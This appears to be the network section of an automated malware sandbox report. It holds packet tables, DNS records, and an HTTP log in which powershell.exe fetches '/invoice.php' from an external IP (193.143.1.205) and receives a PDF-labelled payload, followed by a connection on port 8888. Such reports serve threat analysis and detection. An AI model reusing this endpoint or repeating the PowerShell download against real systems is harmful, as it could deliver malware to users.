Jan 11, 2025 05:17:38.531853914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531863928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531874895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531874895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531891108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531893015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531918049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531975031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531986952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531997919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532008886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532018900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532033920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532057047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532500982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532511950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532529116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532540083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532545090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532552958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532562971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532563925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532596111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532778025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532788038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532799006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532809973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532810926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532821894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532834053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532843113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532846928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532866955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532891989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532917023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532927990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532938004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532948017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532958984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532968998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.532968998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532984018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532994986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.532995939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533010960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533025980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533071041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533083916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533093929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533103943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533114910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533117056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533127069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533129930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533160925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533174038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533760071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533770084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533781052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533790112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533802032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533807993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533813953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533823967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533842087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533859015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533880949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533893108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533902884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533914089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533925056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.533936977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533960104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.533991098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534002066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534013033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534024000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534024954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534039021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534045935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534054041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534064054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534074068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534076929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534085989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534096003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534099102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534117937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534610033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534621954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534631968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534656048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534657001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534667969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534678936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534691095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534698009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534729958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.534758091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534962893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534972906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.534984112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535001040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535021067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535022974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535032034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535043001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535056114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535058975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535087109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535106897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535119057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535129070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535139084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535150051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535171986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535250902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535262108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535271883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535283089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535293102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535294056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535305023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535321951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535322905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535335064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535342932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535346031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535375118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535382986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535413027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535413027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535923004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535933018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535944939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.535954952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.535970926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536045074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536056042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536065102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536072016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536078930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536082983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536087990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536092997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536098957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536103964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536147118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536184072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536194086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536205053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536216021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536225080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536235094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536235094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536247969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536257029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536257982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536269903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536276102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536292076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536871910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536881924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536892891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536909103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536921024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536932945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536941051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536943913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536959887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536967993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.536973000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.536999941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537144899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537178040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537183046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537194014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537204027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537230015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537293911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537305117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537318945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537331104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537331104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537357092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537389040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537403107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537412882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537424088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537434101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537437916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537450075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537472963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537539959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537555933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537568092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537576914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537590027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537590981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537604094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537616014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537616014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537626028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537637949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.537647009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.537693024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538352966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538368940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538378954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538388014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538398981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538404942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538418055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538429022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538434029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538440943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538451910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538455963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538464069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538475990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538475990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538487911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538496017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538506985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538507938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538520098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538532019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538542032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538552046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538563013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538566113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538574934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538583994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538588047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538599014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538606882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.538610935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.538625956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.539100885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539117098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539128065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539136887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.539136887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539150000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539165974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539165974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.539176941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539189100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.539189100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.539212942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.540723085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.540765047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.540771008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.540782928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.540798903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.540810108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.540832996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.540848017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.755290031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.755422115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.827646971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.832773924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.885128975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:39.191627979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:39.603785038 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:39.608562946 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:39.608683109 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:39.608887911 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:39.613621950 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:40.397131920 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:40.447623968 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:40.719358921 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:18:05.111712933 CET	61533	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:18:05.117654085 CET	53	61533	162.159.36.2	192.168.2.8
Jan 11, 2025 05:18:05.117729902 CET	61533	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:18:05.122708082 CET	53	61533	162.159.36.2	192.168.2.8
Jan 11, 2025 05:18:05.563368082 CET	61533	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:18:05.568433046 CET	53	61533	162.159.36.2	192.168.2.8
Jan 11, 2025 05:18:05.568496943 CET	61533	53	192.168.2.8	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:17:47.673541069 CET	62742	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:18:05.111118078 CET	53	51529	162.159.36.2	192.168.2.8
Jan 11, 2025 05:18:05.646424055 CET	50935	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:18:05.653722048 CET	53	50935	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:17:47.673541069 CET	192.168.2.8	1.1.1.1	0x2868	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:18:05.646424055 CET	192.168.2.8	1.1.1.1	0x1189	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:17:47.681974888 CET	1.1.1.1	192.168.2.8	0x2868	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:17:48.471066952 CET	1.1.1.1	192.168.2.8	0xfa23	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:17:48.471066952 CET	1.1.1.1	192.168.2.8	0xfa23	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:18:05.653722048 CET	1.1.1.1	192.168.2.8	0x1189	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 05:18:53.464054108 CET	1.1.1.1	192.168.2.8	0xf322	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:18:53.464054108 CET	1.1.1.1	192.168.2.8	0xf322	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7952	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:17:36.961672068 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:17:37.732964039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:17:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form 